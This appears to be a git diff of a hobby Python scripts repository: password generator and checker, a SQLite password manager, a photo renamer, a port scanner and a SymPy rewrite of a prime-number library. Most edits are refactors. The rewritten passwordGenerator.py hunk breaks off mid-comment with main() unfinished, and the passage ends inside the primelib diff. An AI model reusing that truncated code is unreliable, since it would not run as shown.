--- a/passwordGen.py
+++ b/passwordGen.py
@@ -1,4 +1,5 @@
import random
+
lChars = "abcdefghijklmnopqrstuvwxyz"
uChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
digits = "1234567890"
@@ -20,4 +21,4 @@
for _ in range(2):
myPass += random.choice(uChars)
-print(myPass)
+print(myPass)
diff --git a/password_checker_code.py b/password_checker_code.py
index 788b928d6b7..08072c6d81f 100644
--- a/password_checker_code.py
+++ b/password_checker_code.py
@@ -1,12 +1,10 @@
-import string
-
def check_password_strength(password):
strength = 0
-
+
# Criteria 1: Length (Must be at least 8 characters)
if len(password) >= 8:
strength += 1
-
+
# Criteria 2: Must contain Digits (0-9)
has_digit = False
for char in password:
@@ -15,7 +13,7 @@ def check_password_strength(password):
break
if has_digit:
strength += 1
-
+
# Criteria 3: Must contain Uppercase Letters (A-Z)
has_upper = False
for char in password:
@@ -24,9 +22,10 @@ def check_password_strength(password):
break
if has_upper:
strength += 1
-
+
return strength
+
if __name__ == "__main__":
print("--- Password Strength Checker ---")
# Note: We cannot run input() on the website, but this code is correct.
diff --git a/password_manager.py b/password_manager.py
index cbbbcf87ef2..aa93f649462 100644
--- a/password_manager.py
+++ b/password_manager.py
@@ -1,6 +1,6 @@
+import os
import sqlite3
from getpass import getpass
-import os
# set the environment variable ADMIN_PASS to your desired string, which will be your password.
ADMIN_PASSWORD = os.environ["ADMIN_PASS"]
@@ -83,13 +83,11 @@ def is_service_present(service_):
if connect == ADMIN_PASSWORD:
try:
- conn.execute(
- """CREATE TABLE STORE
+ conn.execute("""CREATE TABLE STORE
(SERVICE TEXT PRIMARY KEY NOT NULL,
USERNAME TEXT NOT NULL,
PASSWORD TEXT NOT NULL);
- """
- )
+ """)
print("Your safe has been created!\nWhat would you like to store in it today?")
except:
print("You have a safe, what would you like to do today?")
diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py
index 2e7678ae660..8635343c1d3 100644
--- a/password_programs_multiple/passwordGenerator.py
+++ b/password_programs_multiple/passwordGenerator.py
@@ -1,108 +1,204 @@
-# PasswordGenerator GGearing 314 01/10/19
-# modified Prince Gangurde 4/4/2020
-
-import random
-import pycountry
-
-
-def generate_password():
- # Define characters and word sets
- special_characters = list("!@#$%/?<>|&*-=+_")
-
- animals = (
- "ant",
- "alligator",
- "baboon",
- "badger",
- "barb",
- "bat",
- "beagle",
- "bear",
- "beaver",
- "bird",
- "bison",
- "bombay",
- "bongo",
- "booby",
- "butterfly",
- "bee",
- "camel",
- "cat",
- "caterpillar",
- "catfish",
- "cheetah",
- "chicken",
- "chipmunk",
- "cow",
- "crab",
- "deer",
- "dingo",
- "dodo",
- "dog",
- "dolphin",
- "donkey",
- "duck",
- "eagle",
- "earwig",
- "elephant",
- "emu",
- "falcon",
- "ferret",
- "fish",
- "flamingo",
- "fly",
- "fox",
- "frog",
- "gecko",
- "gibbon",
- "giraffe",
- "goat",
- "goose",
- "gorilla",
- )
-
- colours = (
- "red",
- "orange",
- "yellow",
- "green",
- "blue",
- "indigo",
- "violet",
- "purple",
- "magenta",
- "cyan",
- "pink",
- "brown",
- "white",
- "grey",
- "black",
- )
-
- # Get random values
- animal = random.choice(animals)
- colour = random.choice(colours)
- number = random.randint(1, 999)
- special = random.choice(special_characters)
- case_choice = random.choice(["upper_colour", "upper_animal"])
-
- # Pick a random country and language
- country = random.choice(list(pycountry.countries)).name
- languages = [lang.name for lang in pycountry.languages if hasattr(lang, "name")]
- language = random.choice(languages)
-
- # Apply casing
- if case_choice == "upper_colour":
+#!/usr/bin/env python3
+"""
+Secure Password Generator – copies password to clipboard, never prints it.
+
+This module generates a strong, memorable password by combining:
+- Two random words (animal + colour)
+- A random 3‑digit number
+- A random special character
+
+It also picks a random country and language (via pycountry) to provide a
+memoization hint – these are NOT part of the password.
+
+Security:
+- Uses `secrets` module for cryptographically strong randomness.
+- Does NOT print the password to the terminal (only a confirmation message).
+- Copies the password to the system clipboard using `pyperclip`.
+
+Author: Modified from GGearing / Prince Gangurde
+Date: 2026-07-11
+"""
+
+import secrets
+import string
+from typing import Optional
+
+# Optional imports with fallback
+try:
+ import pyperclip # type: ignore
+except ImportError:
+ pyperclip = None
+
+try:
+ import pycountry
+except ImportError:
+ pycountry = None
+
+
+# ----------------------------------------------------------------------
+# Word lists – extend as needed, but keep them diverse
+# ----------------------------------------------------------------------
+ANIMALS = (
+ "ant",
+ "bear",
+ "cat",
+ "dog",
+ "eagle",
+ "fox",
+ "goat",
+ "hawk",
+ "ibis",
+ "jaguar",
+ "kangaroo",
+ "lion",
+ "monkey",
+ "newt",
+ "owl",
+ "panda",
+ "quail",
+ "rabbit",
+ "shark",
+ "tiger",
+ "unicorn",
+ "vulture",
+ "wolf",
+ "xerus",
+ "yak",
+ "zebra",
+)
+
+COLOURS = (
+ "red",
+ "orange",
+ "yellow",
+ "green",
+ "blue",
+ "indigo",
+ "violet",
+ "purple",
+ "magenta",
+ "cyan",
+ "pink",
+ "brown",
+ "white",
+ "grey",
+ "black",
+)
+
+SPECIAL_CHARS = "!@#$%/?<>|&*-=+_"
+DIGITS = string.digits
+
+
+# ----------------------------------------------------------------------
+# Core function
+# ----------------------------------------------------------------------
+def generate_secure_password(
+ animal_list: tuple = ANIMALS,
+ colour_list: tuple = COLOURS,
+ special_chars: str = SPECIAL_CHARS,
+ num_digits: int = 3,
+) -> str:
+ """
+ Generate a secure, memorable password using cryptographically strong randomness.
+
+ The password is built as:
+ One of the words (colour or animal) is randomly capitalised.
+
+ Args:
+ animal_list: Tuple of animal names.
+ colour_list: Tuple of colour names.
+ special_chars: String of allowed special characters.
+ num_digits: Number of digits to include (default 3).
+
+ Returns:
+ The generated password string (not printed to console).
+
+ Raises:
+ ValueError: If any word list is empty.
+ """
+ if not animal_list or not colour_list or not special_chars:
+ raise ValueError("Word lists and special chars must not be empty.")
+
+ # Select random elements using secrets (cryptographically secure)
+ animal = secrets.choice(animal_list)
+ colour = secrets.choice(colour_list)
+
+ # Build a random digit string of given length
+ digit_str = "".join(secrets.choice(DIGITS) for _ in range(num_digits))
+
+ special = secrets.choice(special_chars)
+
+ # Randomly choose which word to uppercase
+ if secrets.choice([True, False]):
colour = colour.upper()
else:
animal = animal.upper()
- # Combine to form password
- password = f"{colour}{number}{animal}{special}"
- print("Generated Password:", password)
- print("Based on Country:", country)
- print("Language Hint:", language)
+ # Assemble the password
+ password = f"{colour}{digit_str}{animal}{special}"
+ return password
+
+
+def get_random_country_and_language() -> tuple[Optional[str], Optional[str]]:
+ """
+ Return a random country name and a random language name (for memorisation hints).
+
+ Falls back gracefully if pycountry is not installed.
+
+ Returns:
+ A tuple (country_name, language_name) – either may be None.
+ """
+ country = None
+ language = None
+
+ if pycountry is not None:
+ try:
+ # Pick a random country
+ countries = list(pycountry.countries)
+ if countries:
+ country = secrets.choice(countries).name
+
+ # Pick a random language (only those with a 'name' attribute)
+ languages = [
+ lang.name for lang in pycountry.languages if hasattr(lang, "name")
+ ]
+ if languages:
+ language = secrets.choice(languages)
+ except Exception:
+ # Silently ignore any pycountry errors
+ pass
+
+ return country, language
+
+
+def copy_to_clipboard(text: str) -> bool:
+ """
+ Copy text to the system clipboard using pyperclip.
+
+ Args:
+ text: The string to copy.
+
+ Returns:
+ True if successful, False if pyperclip is not available or fails.
+ """
+ if pyperclip is None:
+ return False
+ try:
+ pyperclip.copy(text)
+ return True
+ except Exception:
+ return False
+
+
+# ----------------------------------------------------------------------
+# Main entry point
+# ----------------------------------------------------------------------
+def main() -> None:
+ """
+ Generate a password, copy it to clipboard, and show hints.
+ The password itself is never printed – only a confirmation message.
+ """
+ print("🔐 Generating a secure password...")
-# Run it
-generate_password()
+ # Generate the pass
diff --git a/photo_timestamp_renamer.py b/photo_timestamp_renamer.py
index ba5df2ed9f1..dff6be71a99 100644
--- a/photo_timestamp_renamer.py
+++ b/photo_timestamp_renamer.py
@@ -17,18 +17,20 @@
"""
from __future__ import annotations
+
import argparse
+import re
+import sys
from dataclasses import dataclass
from datetime import datetime
from pathlib import Path
-import re
-import sys
SUPPORTED_EXTS = {".jpg", ".jpeg", ".png", ".heic", ".webp", ".tif", ".tiff"}
# EXIF support is optional (w\ Pillow)
try:
- from PIL import Image, ExifTags # type: ignore
+ from PIL import ExifTags, Image # type: ignore
+
PIL_OK = True
except Exception:
PIL_OK = False
@@ -166,13 +168,22 @@ def rename_photos(opts: Options) -> int:
def main(argv: list[str]) -> int:
- ap = argparse.ArgumentParser(description="Auto-rename photos using EXIF date (or file modified time).")
+ ap = argparse.ArgumentParser(
+ description="Auto-rename photos using EXIF date (or file modified time)."
+ )
ap.add_argument("folder", help="Folder containing photos")
ap.add_argument("--recursive", action="store_true", help="Process subfolders too")
- ap.add_argument("--dry-run", action="store_true", help="Preview changes without renaming")
- ap.add_argument("--prefix", default="", help="Optional prefix (e.g., Japan, RWTH, Trip)")
- ap.add_argument("--keep-original", action="store_true",
- help="Skip files that already match YYYY-MM-DD_HH-MM-SS naming")
+ ap.add_argument(
+ "--dry-run", action="store_true", help="Preview changes without renaming"
+ )
+ ap.add_argument(
+ "--prefix", default="", help="Optional prefix (e.g., Japan, RWTH, Trip)"
+ )
+ ap.add_argument(
+ "--keep-original",
+ action="store_true",
+ help="Skip files that already match YYYY-MM-DD_HH-MM-SS naming",
+ )
args = ap.parse_args(argv)
folder = Path(args.folder).expanduser()
@@ -181,7 +192,9 @@ def main(argv: list[str]) -> int:
return 2
if not PIL_OK:
- print("[Note] Pillow not installed; EXIF dates won't be read (mtime fallback only).")
+ print(
+ "[Note] Pillow not installed; EXIF dates won't be read (mtime fallback only)."
+ )
print(" Install for best results: pip install pillow")
opts = Options(
diff --git a/ping_servers.py b/ping_servers.py
index 22b2f876cc5..7d5635f0448 100644
--- a/ping_servers.py
+++ b/ping_servers.py
@@ -17,16 +17,14 @@
if (
"-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv
): # Help Menu if called
- print(
- """
+ print("""
You need to supply the application group for the servers you want to ping, i.e.
dms
swaps
Followed by the site i.e.
155
- bromley"""
- )
+ bromley""")
sys.exit(0)
else:
if (
diff --git a/polygon.py b/polygon.py
index ba300f8a317..d22702900ef 100644
--- a/polygon.py
+++ b/polygon.py
@@ -1,5 +1,6 @@
-import pygame
import sys
+
+import pygame
from pygame.locals import *
pygame.init()
diff --git a/portscanner.py b/portscanner.py
index 78fcde14a26..841dce42fd0 100644
--- a/portscanner.py
+++ b/portscanner.py
@@ -58,7 +58,7 @@ def main():
type="string",
help="specify target port[s] seperated by a comma",
)
- (options, args) = parser.parse_args()
+ options, args = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(",")
if (tgtHost == None) | (tgtPorts[0] == None):
diff --git a/primelib/Prime.txt b/primelib/Prime.txt
deleted file mode 100644
index 801324b3c35..00000000000
--- a/primelib/Prime.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-# Program to check if a number is prime or not
-
-num = 407
-
-# To take input from the user
-#num = int(input("Enter a number: "))
-
-# prime numbers are greater than 1
-if num > 1:
- # check for factors
- for i in range(2,num):
- if (num % i) == 0:
- print(num,"is not a prime number")
- print(i,"times",num//i,"is",num)
- break
- else:
- print(num,"is a prime number")
-
-# if input number is less than
-# or equal to 1, it is not prime
-else:
- print(num,"is not a prime number")
diff --git a/primelib/README b/primelib/README
deleted file mode 100644
index 321fb4bb19a..00000000000
--- a/primelib/README
+++ /dev/null
@@ -1,186 +0,0 @@
-Free open-source library from Christian Bender
-
-This python library contains some useful functions to deal with
-prime numbers and whole numbers.
-
-The file primelib.py or primliby.pyc will simply import by the import-statement.
-Important primelib.py or primelib.pyc must been in your project directory.
-
-Example: (In your project)
-
-import primelib
-
-print primelib.isPrime(13) // will print out 'True'
-print primelib.primeFactorization(40) // will print out [2,2,2,5]
-
-OR
-
-from primelib import *
-
-print isPrime(...)
-
-More information about the functions.
-
-help(function_name)
-
-For example:
-
-help(isPrime)
-
----------------------------
-
-Overview about functions:
-
--------------------------
-
-isPrime (number)
-
-input: positive integer 'number'
-returns true if 'number' is prime otherwise false.
-
--------------------------
-
-sieveEr (N)
-
-input: positive integer 'N' > 2
-returns a list of prime numbers from 2 up to N.
-
-This function implements the algorithm called
-sieve of erathostenes.
-
----------------------------
-
-getPrimeNumbers (N)
-
-input: positive integer 'N' > 2
-returns a list of prime numbers from 2 up to N (inclusive)
-This function is more efficient as function sieveEr(...)
-
-
-----------------------------
-
-primeFactorization (number)
-
-input: positive integer 'number'
-returns a list of the prime number factors of 'number'
-
--------------------------------
-
-greatestPrimeFactor (number)
-
-input: integer 'number' >= 0
-returns the greatest prime number factor of 'number'
-
----------------------------------
-
-smallestPrimeFactor (number)
-
-input: integer 'number' >= 0
-returns the smallest prime number factor of 'number'
-
-----------------------------------
-
-getPrime (n)
-
-Gets the n-th prime-number.
-
-input: positive integer 'n' >= 0
-returns the n-th prime number, beginning at index 0
-
--------------------------------------
-
-getPrimesBetween (pNumber1, pNumber2)
-
-input: prime numbers 'pNumber1' and 'pNumber2'
-precondition: pNumber1 < pNumber2
-returns a list of all prime numbers between 'pNumber1' (exclusiv)
- and 'pNumber2' (exclusiv)
-
---------------------------------------
-
-isEven (number)
-
-input: integer 'number'
-returns true if 'number' is even, otherwise false.
-
------------------------------------
-
-isOdd (number)
-
-input: integer 'number'
-returns true if 'number' is odd, otherwise false.
-
-------------------------------------
-
-gcd (number1, number2)
-
-Greatest common divisor
-
-input: two positive integer 'number1' and 'number2'
-returns the greatest common divisor of 'number1' and 'number2'
-
--------------------------------------
-
-kgV (number1, number2)
-
-Least common multiple
-
-input: two positive integer 'number1' and 'number2'
-returns the least common multiple of 'number1' and 'number2'
-
------------------------------------------
-
-NEW-FUNCTION
-
-getDivisors (number)
-
-input: positive integer 'n' >= 1
-returns all divisors of n (inclusive 1 and 'number')
-
--------------------------------------------
-
-NEW-FUNCTIONS
-
-isPerfectNumber (number)
-
-input: positive integer 'number' > 1
-returns true if 'number' is a perfect number otherwise false.
-
----------------------------------------
-
-NEW-FUNCTION
-
-simplifyFraction (numerator, denominator)
-
-input: two integer 'numerator' and 'denominator'
-assumes: 'denominator' != 0
-returns: a tuple with simplify numerator and denominator.
-
-----------------------------------------------
-
-NEW-FUNCTION
-
-factorial (n)
-
-input: positive integer 'n'
-returns the factorial of 'n' (n!)
-
-
------------------------------------------------
-
-NEW-FUNCTION
-
-fib (n)
-
-input: positive integer 'n'
-returns the n-th fibonacci term , indexing by 0
-
-
------------------------------------------------
-
-goldbach(number)
-
-Goldbach's assumption
-
-input: a even positive integer 'number' > 2
-returns a list of two prime numbers whose sum is equal to 'number'
diff --git a/primelib/README.md b/primelib/README.md
new file mode 100644
index 00000000000..4004e750f88
--- /dev/null
+++ b/primelib/README.md
@@ -0,0 +1,145 @@
+
+# Prime Number Utilities
+
+**Free open-source library** – originally by Christian Bender, now accelerated with **SymPy** and fully type‑hinted.
+
+This Python library provides a comprehensive set of functions for dealing with prime numbers and general number theory:
+- Primality testing
+- Prime generation (Sieve of Eratosthenes, nth prime, interval primes)
+- Prime factorization (with multiplicity)
+- Greatest / smallest prime factor
+- GCD & LCM
+- Divisor enumeration
+- Perfect number detection
+- Fraction simplification
+- Factorial and Fibonacci
+- Goldbach's conjecture
+- High‑precision π calculation (Chudnovsky algorithm)
+
+---
+
+## 📦 Requirements
+
+- Python 3.8 or newer (for type hints)
+- [SymPy](https://www.sympy.org/) – for fast number‑theoretic operations
+
+Install SymPy with:
+
+```bash
+pip install sympy
+```
+
+On Termux (Android), you can also try:
+
+```bash
+pkg install python-sympy
+```
+
+or simply use pip.
+
+---
+
+🚀 Installation
+
+Just copy primelib.py into your project directory, then import it:
+
+```python
+import primelib
+# or
+from primelib import *
+```
+
+---
+
+📖 Function Reference
+
+Function Description
+isPrime(number) Returns True if number is prime, otherwise False.
+sieveEr(N) Returns a list of all primes ≤ N (Sieve of Eratosthenes).
+getPrimeNumbers(N) Alias for sieveEr.
+getPrime(n) Returns the n‑th prime (0‑based: 0 → 2, 1 → 3, 3 → 7, …).
+getPrimesBetween(p1, p2) Returns all primes strictly between primes p1 and p2.
+primeFactorization(number) Returns a list of prime factors with multiplicity (e.g., 12 → [2, 2, 3]).
+greatestPrimeFactor(number) Largest prime factor.
+smallestPrimeFactor(number) Smallest prime factor.
+gcd(a, b) Greatest common divisor (non‑negative integers).
+kgV(a, b) Least common multiple (positive integers).
+getDivisors(n) All positive divisors of n (including 1 and n).
+isPerfectNumber(number) True if number equals the sum of its proper divisors.
+simplifyFraction(num, den) Reduces a fraction to lowest terms, returns (num, den).
+factorial(n) n! (uses C‑level math.factorial).
+fib(n) n‑th Fibonacci number (0‑based: fib(0)=1, fib(1)=1).
+goldbach(number) Returns two primes summing to even number > 2.
+pi(maxK=70, prec=1008, disp=1007) Computes π using Chudnovsky algorithm, returns a string.
+
+---
+
+💻 Usage Examples
+
+```python
+import primelib
+
+# Primality test
+print(primelib.isPrime(13)) # True
+print(primelib.isPrime(100)) # False
+
+# Prime factorization
+print(primelib.primeFactorization(40)) # [2, 2, 2, 5]
+
+# Get the 5th prime (0‑based → index 5 → 13)
+print(primelib.getPrime(5)) # 13
+
+# All primes between 10 and 30
+print(primelib.getPrimesBetween(10, 30)) # [11, 13, 17, 19, 23, 29]
+
+# GCD and LCM
+print(primelib.gcd(48, 18)) # 6
+print(primelib.kgV(48, 18)) # 144
+
+# Divisors and perfect number
+print(primelib.getDivisors(28)) # [1, 2, 4, 7, 14, 28]
+print(primelib.isPerfectNumber(28)) # True
+
+# Fraction simplification
+print(primelib.simplifyFraction(12, 8)) # (3, 2)
+
+# Factorial and Fibonacci
+print(primelib.factorial(5)) # 120
+print(primelib.fib(5)) # 8
+
+# Goldbach
+print(primelib.goldbach(28)) # [5, 23]
+
+# Pi (first 10 digits)
+print(primelib.pi(5, 20, 12)) # 3.1415926535
+```
+
+---
+
+🧪 Testing
+
+The module includes doctests embedded in each function’s docstring.
+Run them with:
+
+```bash
+python -m doctest -v primelib.py
+```
+
+Or simply execute:
+
+```bash
+python primelib.py
+```
+
+to run all tests verbosely.
+
+---
+
+📝 API Documentation (Detailed)
+
+You can view the full docstring of any function with Python’s help():
+
+```python
+help(primelib.isPrime)
+help(primelib.primeFactorization)
+```
\ No newline at end of file
diff --git a/primelib/primelib.py b/primelib/primelib.py
index e43f267c7d2..3467ba9a9c4 100644
--- a/primelib/primelib.py
+++ b/primelib/primelib.py
@@ -1,634 +1,329 @@
# -*- coding: utf-8 -*-
"""
-Created on Thu Oct 5 16:44:23 2017
-
-@author: Christian Bender
-
-This python library contains some useful functions to deal with
-prime numbers and whole numbers.
-
-Overview:
-
-isPrime(number)
-sieveEr(N)
-getPrimeNumbers(N)
-primeFactorization(number)
-greatestPrimeFactor(number)
-smallestPrimeFactor(number)
-getPrime(n)
-getPrimesBetween(pNumber1, pNumber2)
-
-----
-
-isEven(number)
-isOdd(number)
-gcd(number1, number2) // greatest common divisor
-kgV(number1, number2) // least common multiple
-getDivisors(number) // all divisors of 'number' inclusive 1, number
-isPerfectNumber(number)
-
-NEW-FUNCTIONS
-
-simplifyFraction(numerator, denominator)
-factorial (n) // n!
-fib (n) // calculate the n-th fibonacci term.
-
------
-
-goldbach(number) // Goldbach's assumption
-
+Prime Number Utilities – A comprehensive library for prime‑related operations.
+
+This module is accelerated using the SymPy library for heavy computations
+(isprime, factorint, primerange, prime). All functions maintain the same
+interface as the original version, with improved performance and full type hints.
+
+Examples:
+ >>> isPrime(7)
+ True
+ >>> getPrime(3) # 0‑based: 2,3,5,7...
+ 7
+ >>> primeFactorization(12)
+ [2, 2, 3]
"""
+import math
+from functools import lru_cache
-def pi(maxK=70, prec=1008, disp=1007):
- """
- maxK: nuber of iterations
- prec: precision of decimal places
- disp: number of decimal places shown
- """
- from decimal import Decimal as Dec, getcontext as gc
-
- gc().prec = prec
- K, M, L, X, S = 6, 1, 13591409, 1, 13591409
- for k in range(1, maxK + 1):
- M = Dec((K**3 - (K << 4)) * M / k**3)
- L += 545140134
- X *= -262537412640768000
- S += Dec(M * L) / X
- K += 12
- pi = 426880 * Dec(10005).sqrt() / S
- pi = Dec(str(pi)[:disp])
- return pi
-
-
-def isPrime(number):
- """
- input: positive integer 'number'
- returns true if 'number' is prime otherwise false.
- """
-
- # precondition
- assert isinstance(number, int) and (number >= 0), (
- "'number' must been an int and positive"
- )
-
- # 0 and 1 are none primes.
- if number <= 3:
- return number > 1
- elif number % 2 == 0 or number % 3 == 0:
- return False
-
- i = 5
- while i * i <= number:
- if number % i == 0 or number % (i + 2) == 0:
- return False
- i += 6
-
- return True
+from sympy import factorint, isprime
+from sympy import prime as sympy_prime
+from sympy import primerange
+# ---------- Basic utilities ----------
-# ------------------------------------------
+def isEven(number: int) -> bool:
+ """Return True if `number` is even, False otherwise.
-def sieveEr(N):
+ Examples:
+ >>> isEven(0)
+ True
+ >>> isEven(1)
+ False
"""
- input: positive integer 'N' > 2
- returns a list of prime numbers from 2 up to N.
-
- This function implements the algorithm called
- sieve of erathostenes.
-
- """
- from math import sqrt
-
- # precondition
- assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2"
-
- primes = [True for x in range(N + 1)]
-
- for p in range(2, int(sqrt(N)) + 1):
- if primes[p]:
- for i in range(p * p, N + 1, p):
- primes[i] = False
- primes[0] = False
- primes[1] = False
- ret = []
- for p in range(N + 1):
- if primes[p]:
- ret.append(p)
-
- return ret
-
+ return number % 2 == 0
-# --------------------------------
+def isOdd(number: int) -> bool:
+ """Return True if `number` is odd, False otherwise.
-def getPrimeNumbers(N):
+ Examples:
+ >>> isOdd(0)
+ False
+ >>> isOdd(1)
+ True
"""
- input: positive integer 'N' > 2
- returns a list of prime numbers from 2 up to N (inclusive)
- This function is more efficient as function 'sieveEr(...)'
- """
-
- # precondition
- assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2"
-
- ans = []
-
- # iterates over all numbers between 2 up to N+1
- # if a number is prime then appends to list 'ans'
- for number in range(2, N + 1):
- if isPrime(number):
- ans.append(number)
-
- # precondition
- assert isinstance(ans, list), "'ans' must been from type list"
-
- return ans
+ return number % 2 != 0
-# -----------------------------------------
+# ---------- Primality testing (accelerated by sympy) ----------
-def primeFactorization(number):
- """
- input: positive integer 'number'
- returns a list of the prime number factors of 'number'
+def isPrime(number: int) -> bool:
"""
+ Test if `number` is a prime number using SymPy's deterministic isprime.
- # precondition
- assert isinstance(number, int) and number >= 0, "'number' must been an int and >= 0"
-
- ans = [] # this list will be returns of the function.
-
- # potential prime number factors.
+ Args:
+ number: Non‑negative integer.
- factor = 2
+ Returns:
+ bool: True if prime, False otherwise.
- quotient = number
+ Raises:
+ ValueError: If `number` is negative.
- if number == 0 or number == 1:
- ans.append(number)
-
- # if 'number' not prime then builds the prime factorization of 'number'
- elif not isPrime(number):
- while quotient != 1:
- if isPrime(factor) and (quotient % factor == 0):
- ans.append(factor)
- quotient /= factor
- else:
- factor += 1
-
- else:
- ans.append(number)
-
- # precondition
- assert isinstance(ans, list), "'ans' must been from type list"
-
- return ans
-
-
-# -----------------------------------------
-
-
-def greatestPrimeFactor(number):
+ Examples:
+ >>> isPrime(0)
+ False
+ >>> isPrime(1)
+ False
+ >>> isPrime(2)
+ True
+ >>> isPrime(97)
+ True
+ >>> isPrime(10**12 + 39) # known prime, fast
+ True
"""
- input: positive integer 'number' >= 0
- returns the greatest prime number factor of 'number'
- """
-
- # precondition
- assert isinstance(number, int) and (number >= 0), (
- "'number' bust been an int and >= 0"
- )
+ if number < 0:
+ raise ValueError("number must be non‑negative")
+ return isprime(number)
- ans = 0
- # prime factorization of 'number'
- primeFactors = primeFactorization(number)
+# ---------- Prime number generation (accelerated) ----------
- ans = max(primeFactors)
- # precondition
- assert isinstance(ans, int), "'ans' must been from type int"
-
- return ans
-
-
-# ----------------------------------------------
-
-
-def smallestPrimeFactor(number):
+def sieveEr(N: int) -> list[int]:
"""
- input: integer 'number' >= 0
- returns the smallest prime number factor of 'number'
- """
-
- # precondition
- assert isinstance(number, int) and (number >= 0), (
- "'number' bust been an int and >= 0"
- )
-
- ans = 0
-
- # prime factorization of 'number'
- primeFactors = primeFactorization(number)
-
- ans = min(primeFactors)
+ Return a list of all primes ≤ N using SymPy's primerange.
- # precondition
- assert isinstance(ans, int), "'ans' must been from type int"
+ Args:
+ N: Upper bound, must be ≥ 2.
- return ans
+ Returns:
+ list[int]: Prime numbers from 2 to N (inclusive).
+ Raises:
+ ValueError: If N < 2.
-# ----------------------
-
-
-def isEven(number):
- """
- input: integer 'number'
- returns true if 'number' is even, otherwise false.
+ Examples:
+ >>> sieveEr(10)
+ [2, 3, 5, 7]
+ >>> sieveEr(2)
+ [2]
"""
+ if N < 2:
+ raise ValueError("N must be ≥ 2")
+ return list(primerange(2, N + 1))
- # precondition
- assert isinstance(number, int), "'number' must been an int"
- assert isinstance(number % 2 == 0, bool), "compare bust been from type bool"
-
- return number % 2 == 0
+def getPrimeNumbers(N: int) -> list[int]:
+ """Alias for `sieveEr`."""
+ return sieveEr(N)
-# ------------------------
-
-def isOdd(number):
- """
- input: integer 'number'
- returns true if 'number' is odd, otherwise false.
+@lru_cache(maxsize=None)
+def getPrime(n: int) -> int:
"""
+ Return the n‑th prime number (0‑based indexing) using SymPy's prime().
- # precondition
- assert isinstance(number, int), "'number' must been an int"
- assert isinstance(number % 2 != 0, bool), "compare bust been from type bool"
-
- return number % 2 != 0
-
+ Args:
+ n: Non‑negative integer.
-# ------------------------
+ Returns:
+ int: The n‑th prime.
+ Raises:
+ ValueError: If n is negative.
-def goldbach(number):
- """
- Goldbach's assumption
- input: a even positive integer 'number' > 2
- returns a list of two prime numbers whose sum is equal to 'number'
+ Examples:
+ >>> getPrime(0)
+ 2
+ >>> getPrime(1)
+ 3
+ >>> getPrime(3)
+ 7
"""
+ if n < 0:
+ raise ValueError("n must be ≥ 0")
+ # sympy.prime is 1‑indexed: prime(1) = 2
+ return sympy_prime(n + 1)
- # precondition
- assert isinstance(number, int) and (number > 2) and isEven(number), (
- "'number' must been an int, even and > 2"
- )
-
- ans = [] # this list will returned
-
- # creates a list of prime numbers between 2 up to 'number'
- primeNumbers = getPrimeNumbers(number)
- lenPN = len(primeNumbers)
-
- # run variable for while-loops.
- i = 0
- j = 1
-
- # exit variable. for break up the loops
- loop = True
-
- while i < lenPN and loop:
- j = i + 1
-
- while j < lenPN and loop:
- if primeNumbers[i] + primeNumbers[j] == number:
- loop = False
- ans.append(primeNumbers[i])
- ans.append(primeNumbers[j])
-
- j += 1
-
- i += 1
- # precondition
- assert (
- isinstance(ans, list)
- and (len(ans) == 2)
- and (ans[0] + ans[1] == number)
- and isPrime(ans[0])
- and isPrime(ans[1])
- ), "'ans' must contains two primes. And sum of elements must been eq 'number'"
-
- return ans
-
-
-# ----------------------------------------------
-
-
-def gcd(number1, number2):
+def getPrimesBetween(pNumber1: int, pNumber2: int) -> list[int]:
"""
- Greatest common divisor
- input: two positive integer 'number1' and 'number2'
- returns the greatest common divisor of 'number1' and 'number2'
- """
-
- # precondition
- assert (
- isinstance(number1, int)
- and isinstance(number2, int)
- and (number1 >= 0)
- and (number2 >= 0)
- ), "'number1' and 'number2' must been positive integer."
-
- rest = 0
-
- while number2 != 0:
- rest = number1 % number2
- number1 = number2
- number2 = rest
-
- # precondition
- assert isinstance(number1, int) and (number1 >= 0), (
- "'number' must been from type int and positive"
- )
+ Return all primes strictly between two given primes.
- return number1
+ Args:
+ pNumber1: Lower bound (must be prime).
+ pNumber2: Upper bound (must be prime, > pNumber1).
+ Returns:
+ list[int]: All primes p with pNumber1 < p < pNumber2.
-# ----------------------------------------------------
+ Raises:
+ ValueError: If inputs are not primes or pNumber1 ≥ pNumber2.
-
-def kgV(number1, number2):
- """
- Least common multiple
- input: two positive integer 'number1' and 'number2'
- returns the least common multiple of 'number1' and 'number2'
+ Examples:
+ >>> getPrimesBetween(3, 13)
+ [5, 7, 11]
+ >>> getPrimesBetween(2, 3)
+ []
"""
+ if not (isPrime(pNumber1) and isPrime(pNumber2)):
+ raise ValueError("Both arguments must be prime numbers")
+ if pNumber1 >= pNumber2:
+ raise ValueError("pNumber1 must be less than pNumber2")
+ return [p for p in range(pNumber1 + 1, pNumber2) if isPrime(p)]
- # precondition
- assert (
- isinstance(number1, int)
- and isinstance(number2, int)
- and (number1 >= 1)
- and (number2 >= 1)
- ), "'number1' and 'number2' must been positive integer."
-
- ans = 1 # actual answer that will be return.
-
- # for kgV (x,1)
- if number1 > 1 and number2 > 1:
- # builds the prime factorization of 'number1' and 'number2'
- primeFac1 = primeFactorization(number1)
- primeFac2 = primeFactorization(number2)
-
- elif number1 == 1 or number2 == 1:
- primeFac1 = []
- primeFac2 = []
- ans = max(number1, number2)
-
- count1 = 0
- count2 = 0
-
- done = [] # captured numbers int both 'primeFac1' and 'primeFac2'
-
- # iterates through primeFac1
- for n in primeFac1:
- if n not in done:
- if n in primeFac2:
- count1 = primeFac1.count(n)
- count2 = primeFac2.count(n)
-
- for i in range(max(count1, count2)):
- ans *= n
-
- else:
- count1 = primeFac1.count(n)
- for i in range(count1):
- ans *= n
+# ---------- Prime factorization (accelerated by sympy) ----------
- done.append(n)
- # iterates through primeFac2
- for n in primeFac2:
- if n not in done:
- count2 = primeFac2.count(n)
-
- for i in range(count2):
- ans *= n
-
- done.append(n)
-
- # precondition
- assert isinstance(ans, int) and (ans >= 0), (
- "'ans' must been from type int and positive"
- )
-
- return ans
-
-
-# ----------------------------------
-
-
-def getPrime(n):
- """
- Gets the n-th prime number.
- input: positive integer 'n' >= 0
- returns the n-th prime number, beginning at index 0
